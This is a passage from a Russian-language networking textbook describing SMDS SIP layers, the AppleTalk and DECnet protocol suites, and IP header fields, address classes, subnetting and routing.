уровня 2, принадлежащих к другому PDU уровня 3.
Поле “единицы сегментации” (segmentation unit) является информационной частью
PDU. В том случае, когда PDU уровня 2 не заполнена, это поле заполняется нулями.
Поле “длины полезной нагрузки” (payload length) указывает, какое число байтов
PDU уровня 3 фактически содержится в поле единицы сегментации. В случае, если
данная PDU уровня 2 не заполнена, то это поле также заполняется нулями.
И наконец, поле “CRC полезной нагрузки” (payload CRC) содержит 10-битовое
значение “проверки при помощи циклического избыточного кода” (cyclic redundancy
check (CRC)), используемое для обнаружения неисправностей в полях типа сегмента,
ID сообщений, единицы сегментации, длины полезной нагрузки и CRC полезной
нагрузки. Данная проверка CRC не охватывает поля информации управления доступом
или управления сетью.
Уровень 1
Уровень 1 SIP обеспечивает протокол физического канала, который действует при
скоростях DS-3 или DS-1 между СРЕ и сетью. Уровень 1 SIP разделен на 2 части:
подуровень системы передачи (transmission system) и Протокол конвергенции
физического уровня (Physical Layer Convergence Protocol (PLCP)). Первая часть
определяет характеристики и метод подключения к каналу передачи, то есть DS-3
или DS-1. Вторая часть определяет, каким образом должны быть организованы PDU
уровня 2 или слоты в зависимости от блока данных DS-3 или DS-1, a также часть
информации управления.
Так как SIP базируется на IEEE 802.6, у него есть преимущество — совместимость с
будущими интерфейсами BISDN, которые обеспечат применения, связанные не только с
передачей данных, но также и видеосигналов и голоса. Однако ценой обеспечения
этой совместимости стали некоторые непроизводительные затраты протокола, которые
необходимо учитывать при подсчете общей пропускной способности, которую можно
получить при использовании SIP. Общая полоса пропускания через доступ DQDB DS-3,
доступная для данных пользователя PDU уровня 3, составляет примерно 34 Mb/сек.
Через доступ DS-1 может быть перенесено примерно 1.2 Mb/сек информации
пользователя.
Использование протокола “управления доступом к носителю” (МАС) IEEE 802.6 МАN в
качестве базиса для SMDS SIP означает, что возможна локальная связь между СРЕ,
совместно использующих один и тот же доступ DQDB. Часть этой локальной связи
будет видимой для переключателя, обслуживающего SNI, а часть нет. Поэтому
переключатель должен использовать адрес пункта назначения единицы данных, чтобы
дифференцировать информационные единицы, предназначенные для передач SMDS, и
информационные единицы, предназначенные для локальной передачи между несколькими
СРЕ, совместно использующими один доступ DQDB.
Реализация сети
Внутри коммерческой сети возможность коммутации пакетов на большой скорости,
которая необходима для SMDS, может быть обеспечена применением нескольких
различных технологий. В настоящее время в ряд сетей вводятся переключатели,
базирующиеся на технологии MAN, например, на стандарте DQDB. Ряд Technical
Advisories (Технических консультативных заключений), выпущенных Bellcore,
определяют требования стандарта на сетевое оборудование для таких функций, как:
● Сетевые операции
● Измерение частоты использования сети для предъявления счета
● Интерфейс между локальной коммерческой сетью и отдаленной коммерческой сетью
● Интерфейс между двумя переключателями в пределах одной и той же коммерческой
сети.
● Управление клиентами сети
Как уже отмечалось, протокол IEEE 802.6 и SIP были специально разработаны так,
чтобы соответствовать основному протоколу BISDN, называемому “Режим асинхронной
передачи” (АТМ). АТМ и IEEE 802.6 принадлежат к классу протоколов, часто
называемых протоколами “быстрой коммутации пакетов” или “реле сегментов” (cell
relay). Эти протоколы организуют информацию в небольшие, с фиксированными
размерами сегменты (в соответствии с терминологией SIP, это PDU уровня 2).
Сегменты с фиксированными размерами могут обрабатываться и коммутироваться в
аппаратуре на очень высоких скоростях. Это накладывает жесткие ограничения на
характеристики задержки, делая протоколы реле сегментов пригодными для
применений, связанных с голосом и видеосигналами. После того, как станет
доступным коммутирующее оборудование, базирующееся на АТМ, эта технология также
будет внедрена в сети, обеспечивающие SMDS.
4.16. Протокол AppleTalk
В начале 1980 гг. Apple Computer готовилась к выпуску компьютера Macintosh.
Инженеры компании знали, что в скором времени сети станут насущной
необходимостью, а не просто интересной новинкой. Они хотели также добиться того,
чтобы базирующаяся на компьютерах Macintosh сеть была бесшовным расширением
интерфейса пользователя Macintosh, совершившим подлинную революцию в этой
области. Имея в виду эти два фактора, Apple решила встроить сетевой интерфейс в
каждый Macintosh и интегрировать этот интерфейс в окружение настольной
вычислительной машины. Новая сетевая архитектура Apple получила название Apple
Talk.
Хотя Apple Talk является патентованной сетью, Apple опубликовала характеристики
Apple Talk, пытаясь поощрить разработку при участии третьей стороны. В настоящее
время большое число компаний успешно сбывают на рынке базирующиеся на Apple Talk
изделия; в их числе Novell, Inc. и Мicrosoft Corparation.
Оригинальную реализацию Apple Talk, разработанную для локальных рабочих групп, в
настоящее время обычно называют Apple Talk Phase I. Однако после установки свыше
1.5 мил. компьютеров Macintosh в течение первых пяти лет существования этого
изделия, Apple обнаружила, что некоторые крупные корпорации превышают встроенные
возможности Apple Talk Phase I, поэтому протокол был модернизирован. Расширенные
протоколы стали известны под названием Apple Talk Phase II. Они расширили
возможности маршрутизации Apple Talk, обеспечив их успешное применение в более
крупных сетях.
Основы технологии
Apple Talk была разработана как система распределенной сети клиент-сервер.
Другими словами, пользователи совместно пользуются сетевыми ресурсами (такими,
как файлы и принтеры). Компьютеры, обеспечивающие эти ресурсы, называются
служебными устройствами (servers); компьютеры, использующие сетевые ресурсы
служебных устройств, называются клиентами (clients). Взаимодействие со
служебными устройствами в значительной степени является прозрачным для
пользователя, так как сам компьютер определяет местоположение запрашиваемого
материала и обращается к нему без получения дальнейшей информации от
пользователя. В дополнение к простоте использования, распределенные системы
также имеют экономические преимущества по сравнению с системами, где все равны,
так какважные материалы могут быть помещены в нескольких, а не во многих
местоположениях.
Apple Talk относительно хорошо согласуется с эталонной моделью OSI.
Доступ к среде
Apple разработала AppleTalk таким образом, чтобы он был независимым от
канального уровня. Другими словами, теоретически он может работать в дополнение
к любой реализации канального уровня. Apple обеспечивает различные реализации
канального уровня, включая Ethernet, Token Ring, FDDI и LocalTalk. Apple
ссылается на AppleTalk, работающий в Ethernet, как на EtherTalk, в Token Ring —
как на TokenTalk и в FDDI — как на FDDITalk.
LocalTalk — это запатентованная компанией Apple система доступа к носителю. Он
базируется на конкуренции на получение доступа, топологии объединения с помощью
шины и передаче сигналов базовой полосы (baseband signaling) и работает на
носителе, представляющим собой экранированную витую пару, со скоростью 230.4 Kb/сек.
Физическим интерфейсом является RS-422; это сбалансированный интерфейс для
передачи электрических сигналов, поддерживаемый интерфейсом RS-449.
Сегменты LocalTalk могут переноситься на расстояния до 300 метров и обеспечивать
до 32 узлов.
Сетевой уровень
Назначения адреса протокола
Для обеспечения минимальных затрат, связанных с работой администратора сети,
адреса узлов AppleTalk назначаются динамично. Когда Macintosh, прогоняющий
AppleTalk, начинает работать, он выбирает какой-нибудь адрес протокола (сетевого
уровня) и проверяет его, чтобы убедиться, что этот адрес используется в данный
момент. В случае, если это не так, то этот новый узел успешно присваивает себе
какой-нибудь адрес. В случае, если этот адрес используется в данный момент, то
узел с конфликтным адресом отправляет сообщение, указывающее на наличие
проблемы, а новый узел выбирает другой адрес и повторяет этот процесс.
Фактические механизмы выбора адреса AppleTalk зависят от носителя. Для
установления связи адресов AppleTalk с конкретными адресами носителя
используется протокол разрешения адреса AppleTalk (AARP). AARP также
устанавливает связи между адресами других протоколов и аппаратными адресами. В
случае, если пакет протоколов AppleTalk или любого другой пакет протоколов
должен отправить пакет данных в другой сетевой узел, то адрес протокола
передается в AARP. AARP сначала проверяет адресный кэш, чтобы определить,
является ли уже установленной связь между адресом этого протокола и аппаратным
адресом. В случае, если это так, то эта связь передается в запрашивающий пакет
протоколов. В случае, если это не так, то AARP инициирует широковещательное или
многопунктовое сообщение, запрашивающее об аппаратном адресе данного
протокольного адреса. В случае, если широковещательное сообщение доходит до узла
с этим протокольным адресом, то этот узел в ответном сообщении указывает свой
аппаратный адрес. Эта информация передается в запрашивающий пакет протоколов,
который использует этот аппаратный адрес для связи с этим узлом.
Сетевые объекты
AppleTalk идентифицирует несколько сетевых объектов. Самым простым является узел
(node), который является просто любым устройством, соединенным с сетью AppleTalk.
Наиболее распространенными узлами являются компьютеры Macintosh и лазерные
принтеры, однако многие другие компьютеры также способны осуществлять связь
AppleTalk, в том числе компьютеры IBM PC, Digital Equipment Corparation VAX и
различные АРМ. Следующим объектом, определяемым AppleTalk, является сеть. Сеть
AppleTalk представляет собой просто отдельный логический кабель. Хотя этот
логический кабель часто является отдельным физическим кабелем, некоторые
вычислительные центры используют мосты для объединения нескольких физических
кабелей. И наконец, зона (zone) AppleTalk является логической группой из
нескольких сетей (возможно находящихся далеко друг от друга).
Протокол доставки дейтаграмм (DDP)
Основным протоколом сетевого уровня AppleTalk является протокол DDP. DDP
обеспечивает обслуживание без установления соединения между сетевыми гнездами.
Гнезда могут назначаться либо статистически, либо динамически. Адреса AppleTalk,
назначаемые DDP, состоят из 2 компонентов: 16-битового номера сети (network
number) и 8-битового номера узла (node number). Эти два компонента обычно
записываются в виде десятичных номеров, разделенных точкой (например, 10.1
означает сеть 10, узел 1). В случае, если номер сети и номер узла дополнены
8-битовым гнездом (socket), обозначающим какой-нибудь особый процесс, то это
означает, что в сети задан какой-нибудь уникальный процесс.
AppleTalk Phase II делает различие между нерасширенными (nonextended) и
расширенными (extended) сетями. В нерасширенных сетях, таких как LocalTalk,
номер каждого узла AppleTalk уникален. Нерасширенные сети были единственным
типом сети, определенным в AppleTalk Phase I. В расширенных сетях, таких как
EtherTalk и TokenTalk, уникальной является комбинация номер каждой сети/номер
узла.
Зоны определяются управляющим сети AppleTalk в процессе конфигурации роутера.
Каждый узел AppleTalk принадлежит к отдельной конкретной зоне. Расширенные сети
могут иметь несколько зон, которые ассоциируются с ними. Узлы в расширенных
сетях могут принадлежать к любой отдельной зоне, которая ассоциируется с этой
расширенной сетью.
Протокол поддержки маршрутной таблицы (RTMP)
Протокол, который организует и поддерживает маршрутные таблицы AppleTalk,
называется Протоколом поддержки маршрутной таблицы (RTMP). Маршрутные таблицы
RTMP содержат данные о каждой сети, до которой может дойти дейтаграмма. В эти
данные входит порт роутера, который ведет к сети пункта назначения, ID узла
следующего роутера, который принимает данный пакет, расстояние до сети
назначения, выраженное числом пересылок, и текущее состояние этих данных
(хорошее, подозрительное или плохое). Периодический обмен маршрутными таблицами
позволяет роутерам объединенных сетей гарантировать обеспечение непротиворечивой
текущей информацией.
Протокол привязки по именам AppleTalk (Name Binding Protocol — NBP)
устанавливает связь имен AppleTalk (которые выражаются как объекты, видимые для
сети — network-visible entities, или NVE) с адресами. NVE является адресуемой
сетью AppleTalk услугой, такой как гнездо. NVE ассоциируются с более, чем одним
именем объектов и перечнем атрибутов. Имена объектов представляют собой
последовательность символов, например такую: printer@net1, в то время как
перечень атрибутов определяет характеристики NVE. Связь между NVE с присвоенными
именами и сетевыми адресами устанавливается через процесс привязки имени.
Привязка имени может быть произведена в момент запуска узла или динамично,
непосредственно перед первым использованием. NBP управляет процессом привязки
имени, в который входят регистрация имени, подтверждение имени, стирание имени и
поиск имени.
Зоны позволяют проводить поиск имени в группе логически связанных узлов. Для
того, чтобы произвести поиск имен в пределах какой-нибудь зоны, отправляется
запрос о поиске в местный роутер, который рассылает широковещательный запрос во
все сети, которые имеют узлы, принадлежащие заданной зоне. Протокол информации
зоны (Zone Information Protocol — ZIP) координирует эти действия.
ZIP поддерживает соответствие номер сети/номер зоны в информационных таблицах
зоны (zone information tables-ZIT). ZIT хранятся в роутерах, которые являются
основными пользователями ZIP, однако конечные узлы используют ZIP в процессе
запуска для выбора своих зон и получения межсетевой информации о зонах. ZIP
использует маршрутные таблицы RTMP для отслеживания изменений в топологии сети.
В случае, если ZIP находит данные о маршрутной таблице, которых нет в данной ZIT,
она образует запись данных о новой ZIT.
Транспортный уровень
Транспортный уровень AppleTalk реализуется двумя основными протоколами AppleTalk:
AppleTalk Transaction Protocol (ATP) (Протокол транзакций AppleTalk) и AppleTalk
Data Stream Protocol (ADSP) (Протокол потока данных AppleTalk). АТР является
транзакционно-ориентированным, в то время как ADSP является ориентированным по
потоку данных.
Протокол транзакций AppleTalk (ATP)
ATP является одним из протоколов транспортного уровня Appletalk. АТР пригоден
для применений, базирующихся на транзакциях, которые можно встретить в банках
или магазинах розничной торговли. В транзакции АТР входят запросы (от клиентов)
(requests) и ответы (от служебных устройств) (replies). Каждая пара запрос/ответ
имеет отдельный ID транзакции. Транзакции имеют место между двумя гнездами
клиентов. АТР использует транзакции “точно-один раз” (exactly once — XO) и “по
крайней мере один раз” (at-least-once — ALO), Транзакции ХО требуются в тех
ситуациях, когда случайное выполнение транзакции более одного раза неприемлемо.
Банковские транзакции являются примером таких неидемпотентных (nonidempotent)
ситуаций (ситуаций, когда повторение какой-нибудь транзакции вызывает проблемы,
что достигается тем, что делаются недействительными данные, участвующие в данной
транзакции). АТР способен выполнять наиболее важные функции транспортного
уровня, в том числе подтверждение о приеме данных и повторную передачу,
установление последовательности пакетов, а также фрагментирование и повторную
сборку. АТР ограничивает сегментирование сообщений до 8 пакетов; пакеты АТР не
могут содержать более 578 информационных байтов.
Протокол потока данных AppleTalk (ADSP)
ADSP является другим важным протоколом транспортного уровня Apple Talk. Как
видно из его названия, ADSP является ориентированным по потоку данных, а не по
транзакциям. Он организует и поддерживает полностью дублированный поток данных
между двумя гнездами в объединенной сети AppleTalk.
ADSP является надежным протоколом в том плане, что он гарантирует доставку
байтов в том же порядке, в каком они были отправлены, а также то, что они не
будут дублированы. ADSP нумерует каждый байт, чтобы отслеживать отдельные
элементы потока данных.
ADSP также определяет механизм управления потоком. Пункт назначения может в
значительной степени замедлять передачи источника путем сокращения размера
объявленного окна на прием.
ADSP также обеспечивает механизм сообщений управления “выхода из полосы” (out-of-band)
между двумя объектами AppleTalk. В качестве средства для перемещения сообщений
управления выхода из полосы между двумя объектами AppleTalk используются пакеты
“внимания” (attention packets). Эти пакеты используют отдельный поток номеров
последовательностей, чтобы можно было отличать их от обычных пакетов данных ADSP.
Протоколы высших уровней
AppleTalk обеспечивает несколько протоколов высшего уровня. Протокол сеансов
AppleTalk (AppleTalk Session Protocol — ASP) организует и поддерживает сеансы
(логические диалоги) между клиентом AppleTalk и служебным устройством. Протокол
доступа к принтеру (Printer Access Protocol — РАР) AppleTalk является
ориентированным по связи протоколом, который организует и поддерживает связи
между клиентами и служебными устройствами (использование термина printer в
заголовке этого протокола является просто исторической традицией). Эхо-протокол
AppleTalk (AppleTalk Echo Protocol — AEP) является очень простым протоколом,
генерирующим пакеты, которые могут быть использованы для проверки способности
различных узлов сети создавать повторное эхо. И наконец, Протокол ведения
картотеки AppleTalk (AppleTalk Filing Protocol — AFP) помогает клиентам
коллективно использовать служебные файлы в сети.
4.17. DECnet
Digital Equipment Corporation (Digital) разработала семейство протоколов DECnet
с целью обеспечения своих компьютеров рациональным способом сообщения друг с
другом. Выпущенная в 1975 г. первая версия DECnet обеспечивала возможность
сообщения двух напрямую подключенных миникомпьютеров PDP-11. В последние годы
Digital включила поддержку для непатентованных протоколов, однако DECnet
по-прежнему остается наиболее важным из сетевых изделий, предлагаемых Digital.
В настоящее время выпущена пятая версия основного изделия DECnet (которую иногда
называют Phase V, a в литературе компании Digital — DECnet/OSI). DECnet Phase V
представляет собой надлежащим образом расширенный набор комплекта протоколов OSI,
поддерживающий все протоколы OSI, а также несколько других патентованных и
стандартных протоколов, которые поддерживались предыдущими версиями DECnet. Что
касается ранее внесенных изменений в протокол, DECnet Phase V совместим с
предыдущей версией (то есть Phase IV).
Архитектура цифровой сети (DNA)
В противоположность бытующему мнению, DECnet вовсе не является архитектурой
сети, а представляет собой ряд изделий, соответствующих Архитектуре Цифровой
сети (Digital Network Architecture — DNA) компании Digital. Как и большинство
других сложных сетевых архитектур, поставляемых крупными поставщиками систем,
DNA поддерживает большой набор как патентованных, так и стандартных протоколов.
Перечень технологий, которые поддерживает DNA, постоянно растет по мере того,
как Digital реализует новые протоколы.
Доступ к среде
DNA поддерживает различные реализации физического и канального уровней. Среди
них такие известные стандарты, как Ethernet, Token Ring, Fiber Distributed Data
Interface (FDDI), IEEE 802..2 и Х.25. DNA также предлагает протокол канального
уровня для традиционного двухточечного соединения, который называется Digital
Data Communications Message Protocol (DDCMP) (Протокол сообщений цифровой связи)
и шину с пропускной способностью 70 Мб/с, используемую для группы абонентов VAX,
которая называется Computer-room Interconnect bus (CI bus) (шина межсоединений
машинного зала).
Сетевой уровень
DECnet поддерживает сетевые уровни как без установления соединения, так и с
установлением соединения. Оба сетевых уровня реализуются протоколами OSI.
Реализации без установления соединения используют Connectionless Network
Protocol (CLNP) (Протокол сети без установления соединения) и Connectionless
Network Service (CLNS) (Услуги сети без установления соединения).
Сетевой уровень с установлением соединения использует X.25 Packet-Level Protocol
(PLP) (Протокол пакетного уровня), который также известен как X.25 level 3
(Уровень 3 Х.25), и Connection-Mode Network Protocol (CMNP) (Протокол сети с
установлением соединения).
Хотя в DECnet Phase V значительная часть DNA была приведена в соответствие с OSI,
уже в DECnet Phase IV маршрутизация была очень схожа с маршрутизацией OSI.
Маршрутизация DNA Phase V включает в себя маршрутизацию OSI (ES-IS и IS-IS) и
постоянную поддержку протокола маршрутизации DECnet Phase IV.
Формат блока данных маршрутизации DECnet Phase IV
Протокол маршрутизации DECnet Phase IV имеет несколько отличий от IS-IS. Одно из
них-это разница в заголовках протоколов.
Первое поле в заголовке маршрутизации DNA Phase IV-это поле флагов маршрутизации
(routing flags), которое состоит из:
return-to-sender
бит возврата получателю, если он задан, то указывает, что данный пакет
возвращается в источник.
return-to-sender request
бит запроса о возврате получателю, если он задан, то указывает на то, что
запрашиваемые пакеты должны быть возвращены в источник, если они не могут быть
доставлены в пункт назначения.
intraLAN
бит intraLAN, который устанавливается по умолчанию. В случае, если роутер
обнаружит, что две сообщающиеся конечные системы не принадлежат одной и той же
подсети, он исключает этот бит.
Другие биты, которые обозначают формат заголовка, указывают, применялась ли
набивка, и выполняют другие функции.
За полем флагов маршрутизации идут поля узла пункта назначения (destination node)
и узла источника (source node), которые обозначают сетевые адреса узлов пункта
назначения и узла источника.
Последнее поле в заголовке маршрутизации DNA Phase IV — поле траверсированных
узлов (nodes traversed), которое показывает число узлов, которые пересек пакет
на пути к пункту назначения. Это поле обеспечивает реализацию подсчета
максимального числа пересылок для того, чтобы можно было удалить из сети
вышедшие из употребления пакеты.
DECnet различает два типа узлов: конечные узлы и узлы маршрутизации. Как
конечные узлы, так и узлы маршрутизации могут отправлять и принимать информацию,
но обеспечивать услуги маршрутизации для других узлов DECnet могут только узлы
маршрутизации.
Маршрутные решения DECnet базируются на затратах (cost) — арбитражном
показателе, назначаемом администратором сети для использования при сравнении
различных путей через среду объединенной сети. Затраты обычно базируются на
числе пересылок, ширине полосы носителя и других показателях. Чем меньше
затраты, тем лучше данный тракт. В случае, если в сети имеют место
неисправности, то протокол маршрутизации DECnet Phase IV использует значения
затрат для повторного вычисления наилучшего маршрута к каждому пункту
назначения.
Адресация
Адреса DECnet не связаны с физическими сетями, к которым подключены узлы. Вместо
этого DECnet размещает главные вычислительные машины, используя пары адресов
область/узел (area/node address). В диапазон значений адресов области входят
значения от 1 до 63 (включительно). Адрес узла может иметь значение от 1 до 1023
(включительно). Следовательно, каждая область может иметь 1023 узла, а в сети
DECnet адресация может быть произведена примерно к 65,000 узлам. Области могут
перекрывать несколько роутеров, и отдельный кабель может обеспечивать несколько
областей. Следовательно, если какой-нибудь узел имеет несколько сетевых
интерфейсов, то он использует один и тот же адрес область/узел для каждого
интерфейса.
Главные вычислительные машины DECnet не используют адреса уровня МАС (Media
Access Control — Управление доступом к носителю), назначаемые производителем.
Вместо этого адреса сетевого уровня встраиваются в адреса уровня МАС в
соответствии с алгоритмом, который перемножает номер области на 1024 и
прибавляет к результату номер узла. Результирующий 16-битовый десятичный адрес
преобразуется в шестнадцатеричное число и добавляется к адресу АА00.0400 таким
образом, что байты оказываются переставленными, так что наименее значимый байт
оказывается первым. Например, адрес 12.75 DECnet становится числом 12363
(основание 10), которое равняется числу 304В (основание 16). После этого адрес с
переставленными байтами добавляется к стандартному префиксу адреса МАС DECnet;
результирующим адресом является выражение АА00.0400.4В30.
Уровни маршрутизации
Узлы маршрутизации DECnet называются либо роутерами Уровня 1, либо роутерами
Уровня 2. Роутер Уровня 1 сообщается с конечными узлами и с другими роутерами
Уровня 1 в отдельной конкретной области. Роутеры Уровня 2 сообщаются с роутерами
Уровня 1 той же самой области и роутерами Уровня 2 других областей. Таким
образом, роутеры Уровня 1 и Уровня 2 вместе формируют иерархическую схему
маршрутизации.
Конечные системы отправляют запросы о маршрутах в назначенный роутер Уровня 1.
На роль назначенного роутера выбирается роутер Уровня 1 с наивысшим приоритетом.
В случае, если два роутера имеют одинаковый приоритет, то назначенным роутером
становится тот, который имеет большее число узлов. Конфигурацию приоритета
любого роутера можно выбирать ручным способом, вынуждая его на роль назначенного
роутера.
В любой области может быть несколько роутеров Уровня 2. В случае, если роутеру
Уровня 1 необходимо отправить пакет за пределы своей области, он направляет этот
пакет какому-нибудь роутеру Уровня 2 в этой же области. В некоторых случаях этот
роутер Уровня 2 может не иметь оптимального маршрута к пункту назначения, однако
конфигурация узловой сети обеспечивает такую степень устойчивости к ошибкам,
которая не может быть обеспечена при назначении только одного роутера Уровня 2
на область.
Транспортный уровень
Транспортный уровень DNA реализуется различными протоколами транспортного
уровня, как патентованными, так и стандартными. Поддерживаются следующие
протоколы транспортного уровня OSI: ТР0, ТР2 и ТР4.
Принадлежащий Digital Протокол услуг сети (Network services protocol — NSP) по
функциональным возможностям похож на ТР4 тем, что он обеспечивает
ориентированное на соединение, с контролируемым потоком обслуживание, с
фрагментацией и повторной сборкой сообщений. Обеспечиваются два подканала — один
для нормальных данных, второй для срочных данных и информации управления
потоком. Обеспечивается два типа управления потоком — простой механизм
старт/стоп, при котором получатель сообщает отправителю, когда следует завершать
и возобновлять передачу данных, и более сложная техника управления потоком, при
которой получатель сообщает отправителю, сколько сообщений он может принять. NSP
может также реагировать на уведомления о перегрузке, поступающие из сетевого
уровня, путем уменьшения числа невыполненных сообщений, которое он может
допустить.
4.18. Протоколы Internet
В середине 1970 гг. Агентство по Внедрению Научно-исследовательских Проектов
Передовой технологии при Министерстве обороны (DARPA) заинтересовалось
организацией сети с коммутацией пакетов для обеспечения связи между
научно-исследовательскими институтами в США. DARPA и другие правительственные
организации понимали, какие потенциальные возможности скрыты в технологии сети с
коммутацией пакетов; они только что начали сталкиваться с проблемой, с которой
сейчас приходится иметь дело практически всем компаниям, а именно с проблемой
связи между различными компьютерными системами.
Поставив задачу добиться связности гетерогенных систем, DARPA финансировала
исследования, проводимые Стэнфордским университетом и компаниями Bolt, Beranek и
Newman (BBN) с целью создания ряда протоколов связи. Результатом этих работ по
разработке, завершенных в конце 1970 гг., был комплект протоколов Internet, из
которых наиболее известными являются Transmission Control Protocol (TCP) и
Internet Protocol (IP).
Протоколы Internet можно использовать для передачи сообщений через любой набор
объединенных между собой сетей. Они в равной мере пригодны для связи как в
локальных, так и в глобальных сетях. Комплект протоколов Internet включает в
себя не только спецификации низших уровней (такие, как ТСР и IP), но также
спецификации для таких общих применений, как почта, эмуляция терминалов и
передача файлов.
Процесс разработки и выдачи документации протоколов Internet скорее напоминает
академический исследовательский проект, чем что-либо другое. Протоколы
определяются в документах, называемых Requests for Comments (RFC) (Запросы для
Комментария). RFC публикуются, а затем рецензируются и анализируются
специалистами по Internet. Уточнения к протоколам публикуются в новых RFC.
Взятые вместе, RFC обеспечивают красочную историю людей, компаний и направлений,
которые формировали разработку комплекта протоколов для открытой системы,
который сегодня является самым популярным в мире.
Сетевой уровень
IP является основным протоколом Уровня 3 в комплекте протоколов Internet. В
дополнение к маршрутизации в объединенных сетях, IР обеспечивает фрагментацию и
повторную сборку дейтаграмм, а также сообщения об ошибках. Наряду с ТСР, IP
представляет основу комплекта протоколов Internet.
Заголовок IР начинается с номера версии (version number), который указывает
номер используемой версии IP.
Поле длины заголовка (IHL) обозначает длину заголовка дейтаграммы в 32-битовых
словах.
Поле типа услуги (type-of-service) указывает, каким образом должна быть
обработана текущая дейтаграмма в соответствии с указаниями конкретного протокола
высшего уровня. С помощью этого поля дейтаграммам могут быть назначены различные
уровни значимости. Поле общая длина (total length) определяет длину всего пакета
IP в байтах, включая данные и заголовок.
Поле идентификации (identification) содержит целое число, обозначающее текущую
дейтаграмму. Это поле используется для соединения фрагментов дейтаграммы.
Поле флагов (flags) (содержащее бит DF, бит MF и сдвиг фрагмента) определяет,
может ли быть фрагментирована данная дейтаграмма и является ли текущий фрагмент
последним.
Поле срок жизни (time-to-live) поддерживает счетчик, значение которого
постепенно уменьшается до нуля; в этот момент дейтаграмма отвергается. Это
препятствует зацикливанию пакетов.
Поле протокола (protocol) указывает, какой протокол высшего уровня примет
входящие пакеты после завершения обработки IP.
Поле контрольной суммы заголовка (header checksum) помогает обеспечивать
целостность заголовка ID.
Поля адресов источника и пункта назначения (source and destination address)
обозначают отправляющий и принимающий узлы.
Поле опции (options) позволяет IP обеспечивать факультативные возможности,
такие, как защита данных.
Поле данных (data) содержит информацию высших уровней.
Адресация
Как и у других протоколов сетевого уровня, схема адресации IP является
интегральной по отношению к процессу маршрутизации дейтаграмм IP через
объединенную сеть. Длина адреса IP составляет 32 бита, разделенных на две или
три части. Первая часть обозначает адрес сети, вторая (если она имеется) — адрес
подсети, и третья — адрес главной вычислительной машины. Адреса подсети
присутствуют только в том случае, если администратор сети принял решение о
разделении сети на подсети. Длина полей адреса сети, подсети и главной
вычислительной машины являются переменными величинами.
Адресация IP обеспечивает пять различных классов сети. Самые крайние левые биты
обозначают класс сети.
Class A
Сети класса А предназначены главным образом для использования с несколькими
очень крупными сетями, так как они обеспечивают всего 7 битов для поля адреса
сети.
Class B
Сети класса В выделяют 14 битов для поля адреса сети и 16 битов для поля адреса
главной вычислительной машины. Этот класс адреса обеспечивает хороший компромисс
между адресным пространством сети и главной вычислительной машины.
Class C
Сети класса С выделяют 22 бита для поля адреса сети. Однако сети класса С
обеспечивают только 8 битов для поля адреса главной вычислительной машины,
поэтому число главных вычислительных машин, приходящихся на сеть, может стать
ограничивающим фактором.
Class D
Адреса класса D резервируются для групп с многопунктовой адресацией (в
соответствии с официальным документом RFC 1112). В адресах класса D четыре бита
наивысшего порядка устанавливаются на значения 1,1,1 и 0.
Class E
Адреса класса Е также определены IP, но зарезервированы для использования в
будущем. В адресах класса Е все четыре бита наивысшего порядка устанавливаются
на 1.
Адреса IP записываются в формате десятичного числа с проставленными точками,
например, 34.0.0.1.
Сети IP могут также быть разделены на более мелкие единицы, называемые подсетями
(subnets). Подсети обеспечивают дополнительную гибкость для администратора сети.
Например, предположим, что какой-то сети назначен адрес класса В, и что все узлы
в сети в данный момент соответствуют формату адреса класса В. Далее предположим,
что представлением адреса этой сети в виде десятичного числа с точками является
128.10.0.0. (наличие одних нулей в поле адреса главной вычислительной машины
обозначает всю сеть). Вместо того, чтобы изменять все адреса на какой-то другой
базовый сетевой номер, администратор может подразделить сеть, воспользовавшись
организацией подсетей. Это выполняется путем заимствования битов из части
адреса, принадлежащей главной вычислительной машине, и их использования в
качестве поля адреса подсети.
В случае, если администратор сети решил использовать восемь битов для
организации подсети, то третья восьмерка адреса IP класса В обеспечивает номер
этой подсети. В нашем примере адрес 128.10.0. относится к сети 128.10, подсети
1; адрес 128.10.2.0. относится к сети 128.10, подсети 2, и т.д.
Число битов, занимаемых для адреса подсети, является переменной величиной. Для
задания числа используемых битов IP обеспечивает маску подсети. Маски подсети
используют тот же формат и технику представления адреса, что и адреса IP. Маски
подсети содержат единицы во всех битах, кроме тех, которые определяют поле
главной вычислительной машины. Например, маска подсети, которая назначает 8
битов организации подсети для адреса 34.0.0.0. класса А, представляет собой
выражение 255.255.0.0. Маска подсети, которая определяет 16 битов организации
подсети для адреса 34.0.0.0. класса А, представляется выражением 255.255.255.0.
Для некоторых носителей (таких как локальные сети IEEE 802), адреса носителя и
адреса IP определяются динамически путем использования двух других составляющих
комплекта протоколов Internet: Address Resolution Protocol (ARP) (Протокол
разрешения адреса) и Reverse Address Resolution Protocol (RARP) (Протокол
разрешения обратного адреса). ARP использует широковещательные сообщения для
определения аппаратного адреса (уровень МАС), соответствующего конкретному
межсетевому адресу. ARP обладает достаточной степенью универсальности, чтобы
позволить использование IP с практически любым типом механизма, лежащего в
основе доступа к носителю. RARP использует широковещательные сообщения для
определения адреса объединенной сети, связанного с конкретным аппаратным
адресом. RARP особенно важен для узлов, не имеющих диска, которые могут не знать
своего межсетевого адреса, когда они выполняют начальную загрузку.
Маршрутизация Internet
Устройства маршрутизации в сети Internet традиционно называются шлюзами (gateway),
что является очень неудачным термином, так как повсеместно в индустрии сетей
этот термин применяют для обозначения устройства с несколько иными
функциональными возможностями. Шлюзы (которые мы с этого момента будем называть
роутерами) в сети Internet организованы в соответствии с иерархическим
принципом. Некоторые роутеры используются для перемещения информации через одну
конкретную группу сетей, находящихся под одним и тем же административным началом
и управлением (такой объект называется автономной системой — autonomous system).
Роутеры, используемые для обмена информацией в пределах автономных систем,
называются внутренними роутерами (interior routers); они используют различные
протоколы для внутренних роутеров (interior gateway protocol — IGP) для
выполнения этой задачи. Роутеры, которые перемещают информацию между автономными
системами, называются внешними роутерами (exterior routers); для этого они
используют протоколы для внешних роутеров.
Протоколы маршрутизации IP-это динамичные протоколы. При динамичной
маршрутизации (dynamic routing) запросы о маршрутах должны рассчитываться
программным обеспечением устройств маршрутизации через определенные интервалы
времени. Этот процесс противоположен статической маршрутизации (static routing),
при которой маршруты устанавливаются администратором сети и не меняются до тех
пор, пока администратор сети не поменяет их. Таблица маршрутизации IP состоит из
пар “адрес назначения/следующая пересылка”.
Маршрутизация IP определяет характер перемещения дейтаграмм IP через
объединенные сети (по одной пересылке за раз). В начале путешествия весь маршрут
не известен. Вместо этого на каждой остановке вычисляется следующий пункт
назначения путем сопоставления адреса пункта назначения, содержащегося в
дейтаграмме, с записью данных в маршрутной таблице текущего узла. Участие
каждого узла в процессе маршрутизации состоит только из продвижения пакетов,
